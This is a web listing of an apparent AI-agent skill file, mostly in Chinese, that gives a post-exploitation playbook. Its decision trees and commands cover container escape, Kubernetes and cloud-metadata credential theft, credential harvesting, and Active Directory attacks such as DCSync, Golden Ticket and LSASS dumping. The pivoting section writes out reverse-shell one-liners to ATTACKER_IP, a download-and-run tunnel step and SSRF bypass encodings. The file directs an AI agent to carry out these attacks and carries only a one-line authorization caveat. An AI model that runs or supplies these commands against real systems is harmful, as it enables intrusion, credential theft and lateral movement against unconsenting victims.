infra-exploit

star 499

Use when conducting penetration testing, post-exploitation, lateral movement, domain attacks, cloud exploitation (AWS/GCP/Azure), container escape, or Kubernetes cluster attacks

yhy0 By yhy0 schedule Updated 4/25/2026

name: infra-exploit description: Use when conducting penetration testing, post-exploitation, lateral movement, domain attacks, cloud exploitation (AWS/GCP/Azure), container escape, or Kubernetes cluster attacks

Infrastructure Exploitation Skill

后渗透专项:容器逃逸、Kubernetes 集群攻击、云环境利用、域渗透、横向移动。

基础渗透(recon/scanning/initial access/web vulns)由 web-security skill 覆盖,本 skill 聚焦于获取 shell 之后的攻击链。 所有测试必须在授权范围内进行。


1. Post-Shell 环境检测与路由

获取 shell 后立即判断所在环境,路由到对应攻击决策树:

获取 Shell
│
├── 仅有 Webshell/SSRF,未获得交互式 Shell? → §7 Pivot & Tunneling
│   先升级: webshell → reverse shell → 稳定隧道,再进入后续流程
│
├── 发现内网网段(172.x/192.168.x/10.x 非目标 IP)? → §7 Pivot & Tunneling
│   检测: ip a; cat /etc/hosts; cat /proc/net/fib_trie
│
├── 在 Docker 容器内? → §2 容器逃逸决策树
│   检测: cat /proc/1/cgroup | grep docker; ls /.dockerenv
│
├── 在 K8s Pod 内? → §3 Kubernetes 攻击决策树
│   检测: ls /var/run/secrets/kubernetes.io/serviceaccount/; env | grep KUBERNETES
│
├── 云环境? → §4 云环境利用
│   检测: curl -s -m 2 http://169.254.169.254/; env | grep -iE '(AWS|AZURE|GOOGLE|CLOUD)'
│
├── Windows 域环境? → §6 域攻击速查
│   检测: net config workstation; nltest /dclist:*
│
└── 标准 Linux/Windows → §5 凭据收割 → modules/lateral-movement.md

首要动作(任何环境都先执行):

# 凭据速查
env | grep -iE "(key|token|pass|secret|api|cred|aws|azure|google)"
cat ~/.aws/credentials ~/.config/gcloud/credentials.db 2>/dev/null
# 网络态势
ip a 2>/dev/null || ifconfig; cat /etc/hosts

2. 容器逃逸决策树

Quick Recon (in container)

# 1. 确认在容器内
cat /proc/1/cgroup 2>/dev/null | grep -qi docker && echo "Docker"
ls -la /.dockerenv 2>/dev/null && echo "Docker"

# 2. 权限 & capability
cat /proc/self/status | grep CapEff
# 0000003fffffffff = privileged
id
cat /proc/1/status | grep Seccomp  # 0=disabled

# 3. 挂载 & 设备
ls -la /var/run/docker.sock 2>/dev/null   # Docker Socket
ls /dev/sda* /dev/vda* 2>/dev/null        # 块设备
mount | grep -E '(docker|overlay|proc)'
find / -name core_pattern 2>/dev/null     # procfs 挂载?

# 4. 网络
ip a 2>/dev/null || ifconfig
cat /etc/hosts
IP=$(hostname -i | awk -F. '{print $1"."$2"."$3".1"}')
timeout 2 bash -c "echo >/dev/tcp/$IP/2375" 2>/dev/null && echo "Docker Remote API open"

# 5. 内核
uname -r  # 判断内核 CVE

Decision Tree

[START] 容器侦察完成
|
+-- Docker Socket? (/var/run/docker.sock)
|   +-> curl --unix-socket 创建挂载宿主机的特权容器 [最简单]
|
+-- Docker Remote API? (宿主机:2375 可达)
|   +-> docker -H tcp://HOST:2375 run -v /:/host ... [等效 Socket]
|
+-- Privileged? (CapEff=0000003fffffffff)
|   +-> nsenter -t 1 -m -u -i -n -p -- /bin/sh [最直接]
|   +-> 备选: mount /dev/sda1 /mnt
|
+-- 有块设备? (/dev/sda*)
|   +-> mount /dev/sda1 /mnt/host
|
+-- SYS_ADMIN?
|   +-- cgroup 可写? -> release_agent 逃逸
|   +-- 可 mount? -> mount 宿主机 FS
|
+-- 宿主机 procfs 挂载? (find / -name core_pattern 有2个)
|   +-> core_pattern 写入逃逸(|/path/to/script)
|
+-- Docker 用户组? (非 root 但在 docker group)
|   +-> docker run -v /:/host ... 等效 root
|
+-- NET_RAW + 同网段服务?
|   +-- 发现已建立的明文连接 (netstat/ss)?
|   |   +-> 嗅探 seq/ack + 直接注入应用层命令(不需要密码)
|   |   +-> 或: 先嗅探,再触发新连接捕获认证凭据
|   +-- 未发现现有连接?
|       +-> ARP 欺骗 + 嗅探同网段其他容器间流量
|   +-- 获取数据库凭据/RCE 后:
|       +-> 检查目标容器是否 privileged → mount 宿主机磁盘
|       +-> 或: 数据库命令执行 (PG COPY FROM PROGRAM / Redis CONFIG SET)
|
+-- SYS_PTRACE + 共享 PID NS?
|   +-> nsenter 或 /proc/PID/root 访问宿主机
|
+-- DAC_READ_SEARCH?
|   +-> shocker exploit (open_by_handle_at)
|
+-- 内核 CVE?
|   +-> DirtyCow(2.6.22-4.8.3) / DirtyPipe(5.8-5.16.11) / CVE-2020-14386(4.6-5.9)
|   +-> runc CVE-2019-5736 / CVE-2024-21626 / CVE-2022-0492
|
+-- 以上都没有?
    +-> 环境变量凭据、挂载的敏感文件、可写宿主机路径

Capability Quick Reference

Capability 攻击面 利用
ALL (privileged) 完全逃逸 nsenter / mount /dev/sda1
SYS_ADMIN cgroup/mount release_agent / mount FS
NET_RAW 嗅探/欺骗 scapy ARP + 协议嗅探
SYS_PTRACE 进程注入 /proc/PID/mem (共享 PID NS)
DAC_READ_SEARCH 绕过权限 open_by_handle_at
NET_ADMIN 流量劫持 iptables REDIRECT
SYS_MODULE 内核模块 insmod LKM
MKNOD 设备节点 创建块设备

Capability 解码: capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')

CVE Quick Reference

CVE 内核/组件版本 类型
CVE-2016-5195 kernel 2.6.22-4.8.3 DirtyCow: 竞态写只读内存
CVE-2020-14386 kernel 4.6-5.9 AF_PACKET 内存越界
CVE-2021-22555 kernel < 5.12 Netfilter OOB write
CVE-2022-0847 kernel 5.8-5.16.11 DirtyPipe: splice 覆盖只读文件
CVE-2022-0185 kernel < 5.16.2 FS context 堆溢出
CVE-2022-0492 cgroup v1 cgroup release_agent 逃逸
CVE-2019-5736 runc < 1.0-rc6 覆盖宿主机 runc
CVE-2024-21626 runc < 1.1.12 fd 泄露逃逸
CVE-2020-15257 containerd < 1.3.9 shim API 未授权

详细脚本模板: 参考 modules/container-escape.md


3. Kubernetes 攻击决策树

Quick Recon (in Pod)

# 1. 确认 K8s 环境
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
env | grep KUBERNETES
cat /etc/resolv.conf | grep svc.cluster.local

# 2. SA Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}

# 3. 权限枚举
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -X POST -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"'$NS'"}}'

# 4. 快速检查关键权限
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/$NS/secrets | head -5
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/pods | head -5

# 5. 网络服务发现 (DNS)
for svc in kubernetes-dashboard grafana prometheus redis etcd; do
  nslookup $svc.default.svc.cluster.local 2>/dev/null | grep -q "Address" && echo "Found: $svc"
done

# 6. kubelet 探测
for port in 10250 10255; do
  curl -sk --connect-timeout 2 https://${KUBERNETES_SERVICE_HOST}:$port/pods 2>/dev/null | head -5
done

Decision Tree

[START] 确认在 K8s Pod 内
|
+-- SA Token 权限检查
|   +-- cluster-admin? -> 直接控制整个集群
|   +-- pods create? -> 创建特权 Pod 逃逸到 Node
|   +-- secrets list/get? -> 获取凭证(其他 SA token/DB 密码)
|   +-- pods/exec? -> 横向移动到其他 Pod
|   +-- serviceaccounts/token create? -> 为高权限 SA 创建 token
|   +-- nodes/proxy? -> API Server Proxy 到 kubelet(绕过 kubelet 认证!)
|   +-- configmaps get? -> 读取敏感配置
|   +-- daemonsets create? -> 在所有节点部署特权容器
|
+-- kubelet API(直连或通过 API Server Proxy / SSRF)
|   +-- 10250 未授权? -> /run/NS/POD/CTR 执行命令(POST, 最简单)
|   +-- 10250 已授权? -> 需要窃取 token 或走 API Server Proxy
|   +-- 10255 开放? -> 收集 Pod 信息/环境变量
|   +-- kubelet exec 注意: /exec 需要 WebSocket, /run 用普通 POST
|
+-- API Server Node Proxy(拥有 nodes/proxy 权限时)
|   +-- /api/v1/nodes/{node}/proxy/pods -> 列出 pods
|   +-- /api/v1/nodes/{node}/proxy/run/{ns}/{pod}/{ctr} -> POST 执行命令
|   +-- /api/v1/nodes/{node}/proxy/runningpods -> 运行中 pods
|   +-- 关键: kubelet 信任来自 API Server 的请求,不再验证原始用户权限
|
+-- SSRF 到 kubelet/API Server(通过内部漏洞服务)
|   +-- 内部服务用 fmt.Sprintf 拼接 URL? -> 路径注入
|   +-- container=../../../../runningpods -> 路径遍历到任意 kubelet 端点
|   +-- Go net/http 会规范化 /../ -> 但结果是执行遍历(不是阻止!)
|
+-- etcd (2379)
|   +-- 未授权? -> 读取 /registry/secrets 获取全部凭证
|
+-- Pod 安全配置
|   +-- hostPID? -> nsenter -t 1 逃逸
|   +-- hostNetwork? -> 访问 localhost 服务 (kubelet/etcd/API)
|   +-- hostPath /? -> 读写宿主机文件系统
|   +-- privileged? -> 容器逃逸决策树
|
+-- EKS/GKE 特有
|   +-- IMDS 可达? -> aws eks get-token 提升 kubectl 权限
|   +-- OIDC 信任关系? -> assume-role-with-web-identity 获取 AWS 权限
|   +-- imagePullSecret? -> 拉取私有镜像审计 history
|
+-- 服务网格 (Istio/Kyverno)
|   +-- Istio: uid 1337 (istio用户) 可绕过 iptables 规则
|   +-- Kyverno: 直接 POST AdmissionReview 到 /mutate 触发 env 注入
|
+-- 横向移动
    +-- Taint/Toleration: 创建 tolerations Pod 调度到 master 节点
    +-- /var/log 挂载 + 符号链接: ln -s / /var/log/host/root_link
        然后 curl kubelet /logs/root_link/ 读取 Node 文件

kubelet Quick Reference

kubelet /run 端点接受普通 POST,是最实用的远程命令执行方式:

# 直连 kubelet(未授权或有 token)
curl -sk https://NODE:10250/run/NS/POD/CTR -X POST -d "cmd=id"

# 通过 API Server Proxy(需要 nodes/proxy 权限)
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$APISERVER/api/v1/nodes/NODE_NAME/proxy/run/NS/POD/CTR" -X POST -d "cmd=id"

SSRF to kubelet Quick Reference

当发现内部服务有 SSRF 且 URL 使用 fmt.Sprintf 拼接时:

# 路径注入:container 参数注入 ../../../../ 遍历到任意 kubelet 端点
container=../../../../runningpods    # 列出所有 pods
container=../../../../pods           # 完整 pod 信息(含 SA token 路径)
container=../../../../run/NS/POD/CTR # 执行命令(如果 SSRF 是 POST)

Dangerous Permissions

权限 利用
pods create 创建特权 Pod 挂载宿主机
pods/exec exec 进入其他 Pod
secrets list/get 获取 SA token / 数据库密码
serviceaccounts/token create 为高权限 SA 创建 token
nodes/proxy 访问 kubelet API
clusterroles bind 绑定 cluster-admin
daemonsets create 所有节点部署容器

SA Token Version Differences

K8s 版本 Token 行为
<= 1.20 创建 SA 自动创建永久 Secret + 投射卷挂载
1.21-1.23 自动创建 Secret,但 Pod 用 kubelet TokenRequest API 申请(1年有效,每小时刷新)
>= 1.24 不再自动创建 Secret,只用 TokenRequest API

详细 curl 命令和 Pod YAML 模板: 参考 modules/kubernetes.md


4. 云环境利用

Quick Recon

# 1. 直接探测元数据端点
curl -s -m 2 http://169.254.169.254/latest/meta-data/                   # AWS
curl -s -m 2 -H "Metadata-Flavor: Google" http://metadata.google.internal/  # GCP
curl -s -m 2 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"  # Azure
curl -s -m 2 http://100.100.100.200/latest/meta-data/                  # Alibaba

# 2. ECS/Fargate 容器凭证
echo $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
curl -s http://170.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI

# 3. 检查现有凭证
env | grep -i -E '(AWS|AZURE|GOOGLE|CLOUD|KEY|SECRET|TOKEN)'
cat ~/.aws/credentials 2>/dev/null
cat ~/.config/gcloud/credentials.db 2>/dev/null

IMDS Quick Reference

Cloud IP/Host Header Credential Path
AWS v1 169.254.169.254 none /latest/meta-data/iam/security-credentials/<ROLE>
AWS v2 169.254.169.254 PUT for token same (with token header)
GCP metadata.google.internal Metadata-Flavor: Google /computeMetadata/v1/instance/service-accounts/default/token
Azure 169.254.169.254 Metadata: true /metadata/identity/oauth2/token?resource=https://management.azure.com/
Alibaba 100.100.100.200 none /latest/meta-data/ram/security-credentials/<ROLE>
ECS/Fargate 170.254.170.2 none $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI

Cloud Decision Tree

[START] 云环境发现
|
+-- IMDS 直接可达?
|   +-- AWS
|   |   +-- IMDSv1 可用? -> 直接 GET IAM 凭证
|   |   +-- 仅 IMDSv2? -> PUT 获取 token 后再请求
|   |   +-- 获取 AKSK+SessionToken -> AWS 后续利用
|   |
|   +-- GCP
|   |   +-> 带 Metadata-Flavor header -> 获取 access_token
|   |   +-> 旧版 v1beta1 可能不需要 header
|   |   +-> GCP 后续利用
|   |
|   +-- Azure
|       +-> 带 Metadata: true header -> 获取 Managed Identity token
|       +-> 不同 resource 参数获取不同服务 token
|       +-> Azure 后续利用
|
+-- 通过 SSRF 间接访问?
|   +-- 简单 GET SSRF -> 仅 IMDSv1 和无 header 的端点
|   +-- 可控 Header -> 绕过 GCP/Azure header 检查
|   +-- 可控 Method (PUT) -> 绕过 IMDSv2
|   +-- 302 重定向 -> 仅 IMDSv1 (v2 不跟随重定向)
|   +-- CRLF 注入 -> URL 中注入 header
|   +-- DNS 重绑定 -> 绕过 DNS 检查
|   +-- IP 变形: 十进制/十六进制/八进制/IPv6映射
|
+-- 获取凭证后
    +-- AWS: sts get-caller-identity → S3/Secrets/SSM/Lambda/IAM 枚举
    +-- GCP: gcloud storage ls / secrets list / compute instances list
    +-- Azure: Key Vault / Blob Storage / Runbooks / VM RunCommand

AWS Post-Exploitation Priorities

# 1. 身份确认
aws sts get-caller-identity

# 2. 高价值目标
aws secretsmanager list-secrets
aws ssm describe-parameters
aws s3 ls

# 3. IAM 枚举
aws iam list-roles --query 'Roles[].Arn'
aws iam list-attached-role-policies --role-name ROLE

# 4. assume-role 暴力枚举
aws iam list-roles --query 'Roles[].Arn' | jq -r '.[]' > roles.txt
while read r; do aws sts assume-role --role-arn $r --role-session-name test 2>&1; done < roles.txt

# 5. Pacu 自动化
import_keys <profile>
run iam__detect_honeytokens
run iam__enum_permissions
run iam__privesc_scan

SSRF IP Bypass

# 169.254.169.254 各种表示
http://2852039166          # decimal
http://0xa9fea9fe          # hex
http://0251.0376.0251.0376 # octal
http://[::ffff:a9fe:a9fe]  # IPv6 mapped
http://169.254.169.254.nip.io  # DNS service

详细 curl 命令和利用链: 参考 modules/cloud-metadata.md


5. 凭据收割速查

任何环境获取 shell 后优先执行,为横向移动和提权提供弹药:

# === 环境变量 & 配置文件 ===
env | grep -iE "(key|token|pass|secret|api|cred|aws|azure|google|db|mysql|pg|redis)"
find / -maxdepth 4 -name "*.env" -o -name "*.conf" -o -name "*.cfg" -o -name "*.ini" \
  -o -name "wp-config.php" -o -name "settings.py" -o -name "application.yml" 2>/dev/null
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "(pass|key|token|secret)"

# === 历史文件 ===
cat ~/.*history 2>/dev/null | grep -iE "(pass|key|token|secret|curl|ssh|mysql|psql)"

# === SSH 密钥 ===
find / -maxdepth 4 -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
cat /etc/ssh/sshd_config 2>/dev/null | grep -i authorized

# === 数据库连接串 ===
grep -rn "mysql\|postgres\|redis\|mongodb\|jdbc:" /var/www /opt /srv /app 2>/dev/null | head -20

# === 云凭证 ===
cat ~/.aws/credentials ~/.config/gcloud/credentials.db 2>/dev/null
ls -la /var/run/secrets/ 2>/dev/null

# === Windows 凭据(如适用)===
# cmdkey /list
# dir /s /b C:\Users\*\AppData\*\*credential* 2>/dev/null
# reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr /i "password"

详细后渗透清单: 参考 modules/post-compromise.md


6. 域攻击速查

域侦察

# 域信息 + BloodHound 数据收集
net config workstation && nltest /dclist:*
net group "Domain Admins" /domain
SharpHound.exe -c All    # 或 bloodhound-python -d domain.com -u user -p pass -ns dc_ip

域提权关键路径

Kerberoasting:
  GetUserSPNs.py domain/user:pass -dc-ip dc -request
  hashcat -m 13100 hash.txt wordlist.txt

AS-REP Roasting:
  GetNPUsers.py domain/ -usersfile users.txt -dc-ip dc
  hashcat -m 18200 hash.txt wordlist.txt

DCSync:
  secretsdump.py domain/admin:pass@dc
  # 或 Mimikatz: lsadump::dcsync /domain:domain.com /user:Administrator

ZeroLogon (CVE-2020-1472):
  zerologon_tester.py dc_name dc_ip

Golden Ticket:
  kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /krbtgt:hash /ptt

Silver Ticket:
  kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /target:dc.domain.com /service:cifs /rc4:hash /ptt

ACL Abuse:
  GenericAll / WriteDacl / WriteOwner → 通过 BloodHound 路径分析
  委派攻击: 非约束 / 约束 / RBCD

凭据提取

# Mimikatz
privilege::debug
sekurlsa::logonpasswords       # 内存密码
lsadump::sam                   # SAM 数据库

# LSASS 转储
procdump -ma lsass.exe lsass.dmp
pypykatz lsa minidump lsass.dmp

# PTH / PTT
sekurlsa::pth /user:admin /domain:domain.com /ntlm:hash /run:cmd
cme smb target -u admin -H ntlm_hash
kerberos::ptt ticket.kirbi

域持久化

# Golden Ticket (需要 krbtgt hash) / Silver Ticket (需要服务账户 hash)
# Skeleton Key: misc::skeleton
# AdminSDHolder / DCShadow / SID History

详细流程: 参考 modules/domain.md modules/lateral-movement.md


7. Pivot & Tunneling(Webshell → 内网渗透)

关键: 从 web-security 的 webshell/RCE/SSRF 过渡到内网渗透。Webshell 是起点不是终点。

决策树

当前能力
├── 交互式 Shell → 直接建隧道(chisel/frp/SSH)→ proxychains 内网渗透
├── 仅 Webshell  → 先升级为 reverse shell,再建隧道
│   ├── 能执行系统命令 → 反弹 Shell(见下方 payload)
│   └── disable_functions → LD_PRELOAD/FFI/proc_open 绕过
├── 仅 SSRF      → 先升级为 RCE(gopher→Redis/FastCGI),再走上方路径
└── 仅 LFI       → 先升级为 RCE(log poisoning/PHP session injection/filter chain),再走上方路径

P0: Webshell → 反弹 Shell

# 检测可用工具
which bash nc python3 perl php curl 2>/dev/null

# Python(最推荐)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'

# PHP
php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

# Netcat(无 -e 版)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f

# Shell 稳定化
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z → stty raw -echo; fg → export TERM=xterm

# 监听端(攻击机/Docker)
nc -lvnp PORT
# 或 Task[c2] 启动 MSF multi/handler(推荐,可升级 meterpreter)

P0: Tunnel 建立

# === 场景 A: 目标有出站 HTTP → chisel reverse SOCKS(最推荐)===
# 攻击机:
chisel server -p 8888 --reverse --socks5
# 目标机(下载并执行):
curl http://ATTACKER:PORT/chisel -o /tmp/c && chmod +x /tmp/c
/tmp/c client ATTACKER:8888 R:1080:socks
# 攻击机 1080 即为 SOCKS5,通过它访问内网:
proxychains4 nmap -sT -Pn 172.18.0.0/24
proxychains4 curl http://172.18.0.3:8080/

# === 场景 B: 出站 TCP → SSH 动态转发 ===
ssh -f -N -D 1080 user@boundary

# === 场景 C: 仅 webshell 无出站 → Neo-reGeorg HTTP 隧道 ===
# 攻击机生成 tunnel 脚本,上传到 webshell 目录
python3 neoreg.py generate -k password123
# 上传 tunnel.php 后:
python3 neoreg.py -k password123 -u http://TARGET/tunnel.php -p 1080

P0: SSRF → RCE 升级

SSRF
├── 支持 gopher:// → Redis(6379): 写 webshell/SSH key/cron → RCE
│                  → FastCGI(9000): 直接 PHP 命令执行
│                  → MySQL(3306 无密码): UDF RCE
├── 仅 http:// → Docker API(2375): 创建特权容器 → 宿主机
│              → 云元数据(169.254.169.254): IAM 凭据
│              → 内网 Web 应用: 已知 CVE / 认证绕过
└── 支持 file:// → 读源码找凭据 → 用凭据登录其他服务

P1: 内网高价值目标速查

端口 服务 利用
6379 Redis 未授权 → webshell/SSH key/cron
3306 MySQL UDF/INTO OUTFILE webshell
5432 PostgreSQL COPY FROM PROGRAM 命令执行
2375 Docker API 特权容器挂载宿主机
9000 FastCGI 直接 PHP RCE
22 SSH 凭据重用、私钥登录
80/8080 Web 认证绕过、已知 CVE
27017 MongoDB 未授权数据提取

常见错误

  • 只用 webshell curl 逐个试内网 → 建 tunnel 后用 proxychains + fscan 批量扫
  • 不升级 webshell → webshell 受 HTTP 超时限制(30s),无法跑隧道和交互工具
  • HTTP SSRF 代理尝试 SSH → HTTP 代理无法维持有状态 TCP,需要 gopher:// 或真正的隧道
  • 不记录内网发现就开始打 → 先 record_key_finding 记录网段和服务,避免 compact 后丢失

更多详细操作(disable_functions 绕过、gopher payload 生成、Redis/MySQL/Docker 利用脚本、多跳 pivot): 参考 modules/pivot-tunneling.md


8. 工具速查

容器/K8s 工具

工具 用途
CDK 容器逃逸自动检测 ./cdk evaluate
scapy ARP/TCP/DNS 网络攻击
kubectl K8s CLI
etcdctl etcd 读取
kubeletctl kubelet 利用
peirates K8s 渗透测试
dnscan K8s 子网 DNS 服务发现
kube-review 生成 AdmissionReview 请求
crane 远程容器镜像审计

云安全工具

工具 用途
aws-cli AWS CLI
gcloud GCP CLI
az Azure CLI
pacu AWS 渗透测试框架
ScoutSuite 多云审计
CloudFox 云攻击面枚举
enumerate-iam AWS IAM 枚举
Prowler AWS 安全检查

域/横向移动工具

工具 用途
impacket Windows 协议利用 (psexec/wmiexec/secretsdump)
crackmapexec 多协议渗透
evil-winrm WinRM 交互
chisel 端口转发/隧道
proxychains4 代理链
lazagne 全面凭据搜集
fscan 内网扫描

词表: /usr/share/seclists/


9. Module References

Module 内容
modules/pivot-tunneling.md Webshell→反弹Shell→隧道→内网渗透 完整操作手册
modules/container-escape.md 容器逃逸脚本模板与 PoC
modules/kubernetes.md K8s 攻击 curl 命令与 Pod YAML 模板
modules/cloud-metadata.md 云元数据利用与 SSRF 绕过脚本
modules/domain.md 域渗透技术
modules/lateral-movement.md 横向移动详解
modules/post-compromise.md 后渗透信息收集清单
modules/recon.md 信息收集详解 (基础侦察由 web-security skill 覆盖)
Install via CLI
npx skills add https://github.com/yhy0/CHYing-agent --skill infra-exploit
Repository Details
star Stars 499
call_split Forks 48
navigation Branch main
article Path SKILL.md
More from Creator